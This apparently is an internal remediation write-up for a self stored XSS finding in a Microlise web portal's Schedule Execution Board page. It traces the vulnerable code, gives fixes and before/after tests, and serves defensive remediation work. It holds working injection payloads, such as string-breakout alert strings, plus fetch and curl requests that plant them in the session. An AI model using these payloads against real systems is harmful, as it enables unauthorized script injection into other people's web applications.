The Microlise TMC PO WA April 2026 v1.0.pdf lists 14 findings total. Pages 33–34 (33-34.pdf) are the last technical finding before “END OF DOCUMENT”:
| Field | Value |
|---|---|
| Title | Session stored XSS |
| Severity | Informational (lowest tier; 4 informational findings in the report) |
| Status | Open |
| CWE | CWE-79 — Improper Neutralization of Input |
| Environment | cert.microlise.com (cert/UAT), path prefix
/PENTEST/TMCWebPortal/ |
Higher-severity items in the same report (SQLi, IDOR, BFLA, etc.) are separate; this finding is documented as technically valid but low business risk.
Cross-Site Scripting (XSS) means untrusted data ends up in a web page in a way the browser treats as executable JavaScript, instead of inert text.
The name “cross-site” is historical: classic attacks trick a victim into loading a page on your app so script runs in your origin (stealing session cookies, performing actions as the user, etc.).
Common types:
| Type | Persistence | Typical delivery |
|---|---|---|
| Reflected | Not stored; one-off response | Malicious link/query param |
| Stored | Saved server-side (DB, file, session) | Victim loads a normal page later |
| DOM-based | Client-side only | Unsafe innerHTML, eval, etc. |
Defense in depth: validate input on the server (whitelist formats), and encode output for the exact context (HTML, attribute, JavaScript string, URL).
| Role | Path |
|---|---|
| Page + inline JS | ScheduleExecutionBoard.aspx |
| WebMethod + page properties | ScheduleExecutionBoard.aspx.cs |
| Session storage | SEBSessionState.cs |
[WebMethod]
SaveSearchCriteriaToSession on
ScheduleExecutionBoard.aspxdate,
orderID, time (also searchID,
hours, quickSearch in the same flow)cert.microlise.com,
path /PENTEST/TMCWebPortal/SEB/...flowchart LR
subgraph submit [Step1_Submit]
A[Tester sends POST directly]
B[SaveSearchCriteriaToSession]
C[Values stored in server session]
end
subgraph render [Step2_Render]
D[User loads ScheduleExecutionBoard.aspx]
E[Server embeds session values in script block]
F[Browser executes unescaped JS]
end
A --> B --> C
C --> D --> E --> F
SaveSearchCriteriaToSession. The app saves search criteria
into the server-side session.ScheduleExecutionBoard.aspx, those values are written into
the HTML inside a <script> block, as
JavaScript string literals.date can break
out of the string and run arbitrary JS.1. Save — no server-side validation
// ScheduleExecutionBoard.aspx.cs lines 336-348
[WebMethod]
public static void SaveSearchCriteriaToSession(string searchID, string orderID, string date, string time, int hours, bool displayPriorityJourneys, string quickSearch)
{
var sebState = new SEBSessionState();
sebState.ComplexSearch = searchID;
sebState.OrderBy = orderID;
sebState.SearchDate = date;
sebState.SearchTime = time;
// ...
}2. Persist — per-user ASP.NET session
SEBSessionState.cs
stores values under keys dateID, timeID,
orderByID.
3. Load — on next full page GET
// ScheduleExecutionBoard.aspx.cs lines 267-277
private void SetupControls()
{
var sebState = new SEBSessionState();
SessionOrderID = sebState.OrderBy;
SessionDate = sebState.SearchDate;
SessionTime = sebState.SearchTime;
// ...
}4. Render — vulnerable inline JavaScript (root cause)
// ScheduleExecutionBoard.aspx lines 1853-1875
if ("<%=SessionDate%>") {
$('#txtStart').val("<%= SessionDate %>");
}
if ("<%=SessionTime%>") {
$('#inputtime').val("<%=SessionTime%>");
}
if ("<%=SessionOrderID%>") {
$(orderBySelector + ' option[value="<%=SessionOrderID%>"]').attr('selected', 'selected');
}Example payload in session:
"); alert(document.domain); //
$('#txtStart').val(""); alert(document.domain); //");Related: QuickSearch at line ~1879 —
fix in the same pass.
Pentesters bypassed browser validation via direct POST. No server-side validation blocked arbitrary strings.
Use this section to see the bug work on an authorized environment (e.g. cert/UAT), then repeat the same steps after fixes and compare outcomes.
| Requirement | Detail |
|---|---|
| Authorization | Pentest scope or internal security test policy only |
| Permission | Microlise:TMC:SEB:Read |
| URL | e.g. https://<host>/TMCWebPortal/SEB/ScheduleExecutionBoard.aspx |
| Tools | Browser + DevTools or Burp Suite |
| Build | Before-fix build first; redeploy with remediation for after-fix runs |
Must be logged in (valid session cookie on POST).
sequenceDiagram
participant You as Tester_browser
participant API as SaveSearchCriteriaToSession
participant Sess as ASP.NET_session
participant Page as ScheduleExecutionBoard_GET
You->>API: POST JSON with malicious date
API->>Sess: Store raw date in session
You->>Page: Reload SEB page
Page->>You: HTML with unescaped date inside script
You->>You: alert or other JS runs
DateValidation().alert).Self-XSS: only your session is poisoned.
Step 1 — Baseline (optional)
SaveSearchCriteriaToSession.application/json, body shape, Cookie
header.Step 2 — Inject via direct POST (bypass UI)
| Parameter | Suggested test value |
|---|---|
searchID |
0.X |
orderID |
0.X |
date |
"); alert(document.domain);// |
time |
00:00 |
hours |
24 |
displayPriorityJourneys |
false |
quickSearch |
"" |
Burp: Repeater → replace JSON body → send.
Browser console (on SEB page, same origin):
fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json; charset=utf-8' },
body: JSON.stringify({
searchID: '0.X',
orderID: '0.X',
date: '"); alert(document.domain);//',
time: '00:00',
hours: 24,
displayPriorityJourneys: false,
quickSearch: ''
})
}).then(r => console.log('status', r.status));curl (replace host, path, cookies):
curl -s -o /dev/null -w "%{http_code}" \
-X POST "https://<host>/<TMCWebPortal>/SEB/ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession" \
-H "Content-Type: application/json; charset=utf-8" \
-H "Cookie: <paste-session-cookies>" \
-d "{\"searchID\":\"0.X\",\"orderID\":\"0.X\",\"date\":\"\\\"); alert(document.domain);//\",\"time\":\"00:00\",\"hours\":24,\"displayPriorityJourneys\":false,\"quickSearch\":\"\"}"Step 3 — Trigger render (stored XSS)
ScheduleExecutionBoard.aspx
(F5).SetupControls() embeds session date
(~lines 1854–1855).Step 4 — Confirm
| Check | Before fix (expected) |
|---|---|
| Popup / console | alert(document.domain) runs |
| View Source | Literal "); alert(...) inside
$('#txtStart').val("...") unescaped |
| Network on reload | Normal GET only; XSS from inline script |
| Other users | No effect (different session) |
Step 5 — Optional: malicious time or
orderID.
Step 6 — Clean up: log out/in or POST valid date/time.
Run the same Steps 2–4 after each change:
| Observation | Before fix | After encoding only | After validation only | After both |
|---|---|---|---|---|
POST malicious date accepted? |
Yes (200) | Yes (200) | No / not stored | No |
alert on reload? |
Yes | No | Depends* | No |
| Executable JS in View Source? | Yes | No (escaped) | Depends* | No |
#txtStart shows attack text? |
Maybe | Escaped/safe | Default/empty | Default/empty |
| Normal UI search + reload works? | Yes | Yes | Yes | Yes |
*If only validation: reload may show no XSS without encoding — still apply both fixes.
| Path | DateValidation() runs? |
Payload reaches session? |
|---|---|---|
| Click Search in UI | Yes | No (normal typing) |
| Direct POST / Burp / fetch | No | Yes |
Reproduction must use direct POST to match the pentest.
$('#txtStart').val(.alert(document.domain) over exfiltration
demos.Use two layers: output encoding + server-side validation.
File: ScheduleExecutionBoard.aspx,
SetupControls() (~1847–1884).
| Line (approx) | Field | Encode |
|---|---|---|
| 1849–1850 | SessionSearchID | Yes |
| 1854–1855 | SessionDate | Yes |
| 1860–1861 | SessionTime | Yes |
| 1872–1874 | SessionOrderID | Yes |
| 1878–1879 | QuickSearch | Yes |
Before:
$('#txtStart').val("<%= SessionDate %>");After:
$('#txtStart').val("<%= HttpUtility.JavaScriptStringEncode(SessionDate ?? string.Empty) %>");Encode if guards too, or use code-behind booleans
(HasSessionDate).
File: ScheduleExecutionBoard.aspx.cs,
SaveSearchCriteriaToSession (~337).
| Parameter | Validation rule |
|---|---|
date |
Same regex as client DateValidation() |
time |
^[0-2][0-9]:[0-5][0-9]$ |
orderID |
^[0-9]+(\.X)?$ |
searchID |
Same as orderID |
hours |
Clamp 1–999 |
[WebMethod]
public static void SaveSearchCriteriaToSession(...)
{
if (!IsValidSebDate(date) || !IsValidSebTime(time)
|| !IsValidQueryComponentId(orderID) || !IsValidQueryComponentId(searchID))
{
return;
}
var sebState = new SEBSessionState();
// ...
}Date regex:
^[0-9]{4}-(((0[13578]|(10|12))-(0[1-9]|[1-2][0-9]|3[0-1]))|(02-(0[1-9]|[1-2][0-9]))|((0[469]|11)-(0[1-9]|[1-2][0-9]|30)))$
DateValidation() alone.HtmlEncode in JS string literals.innerHTML; keep .val().Master procedure: Replicating the vulnerability section above.
Negative test:
{
"searchID": "0.X",
"orderID": "0.X",
"date": "\"); alert(1);//",
"time": "00:00",
"hours": 24,
"displayPriorityJourneys": false,
"quickSearch": ""
}Pass: No alert; escaped in source; invalid date not stored (with Fix 2).
Positive test: UI search + reload restores criteria.
| File | Change |
|---|---|
| ScheduleExecutionBoard.aspx | JavaScriptStringEncode in
SetupControls() |
| ScheduleExecutionBoard.aspx.cs | Validation in SaveSearchCriteriaToSession |
References: OWASP XSS, PortSwigger Stored XSS, JavaScriptStringEncode
| Question | Answer |
|---|---|
| Real coding flaw? | Yes (CWE-79) |
| Cross-user session hijack? | Not under normal use (self-XSS) |
| Should it still be fixed? | Yes, as hygiene |
| Priority vs SQLi / IDOR? | Much lower (informational) |
fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json; charset=utf-8' },
body: JSON.stringify({
searchID: '0.X', orderID: '0.X',
date: '2026-05-27', time: '00:00', hours: 24,
displayPriorityJourneys: false, quickSearch: ''
})
}).then(() => location.reload());
fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json; charset=utf-8' },
body: JSON.stringify({
searchID: '0.X',
orderID: '0.X',
date: '"+alert(1)+"',
time: '00:00',
hours: 24,
displayPriorityJourneys: false,
quickSearch: ''
})
}).then(r => console.log(r.status, r.statusText));
function poisonSession(field, payload) {
const body = {
searchID: '0.X',
orderID: '0.X',
date: '2026-05-27',
time: '00:00',
hours: 24,
displayPriorityJourneys: false,
quickSearch: ''
};
body[field] = payload;
return fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json; charset=utf-8' },
body: JSON.stringify(body)
}).then(r => console.log(field, r.status, r.statusText));
}
poisonSession('date', '"+confirm("XSS: SEB session poisoned")+"');
poisonSession('date', '"+document.body.insertAdjacentHTML("afterbegin","<div style=\\"position:fixed;top:0;left:0;right:0;background:red;color:white;z-index:99999;padding:12px;text-align:center\\">XSS PoC — arbitrary script executed in SEB context</div>")+"');